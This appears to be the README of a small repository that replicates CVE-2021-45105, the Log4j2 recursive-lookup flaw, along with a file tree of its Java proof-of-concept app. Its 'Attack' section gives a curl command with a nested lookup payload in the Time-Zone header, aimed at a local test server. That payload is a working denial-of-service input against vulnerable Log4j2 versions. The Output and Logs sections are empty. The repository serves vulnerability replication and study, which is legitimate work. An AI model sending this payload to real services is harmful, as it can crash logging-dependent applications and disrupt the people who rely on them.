Replicating CVE-2021-45105# tejas-nagchandi/CVE-2021-45105
Replicating CVE-2021-45105
## API
```
curl -I localhost:8080/currentDateTime -H 'Time-Zone: GMT'
```
Output:

## Attack
```
curl -I localhost:8080/currentDateTime -H 'Time-Zone: ${${::-${::-$${::-$}}}}'
```
Output:

Logs:

## Reference:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105
[4.0K] /data/pocs/5f710f6708f5b850b15e859d120b91ef842576f4
├── [3.4K] pom.xml
├── [ 675] README.md
└── [4.0K] src
├── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] com
│ │ └── [4.0K] vulnerability
│ │ ├── [ 324] Cve202145105Application.java
│ │ └── [1.6K] MainController.java
│ └── [4.0K] resources
│ └── [ 485] log4j2.xml
└── [4.0K] test
└── [4.0K] java
└── [4.0K] com
└── [4.0K] vulnerability
└── [1.8K] MainControllerTest.java
10 directories, 6 files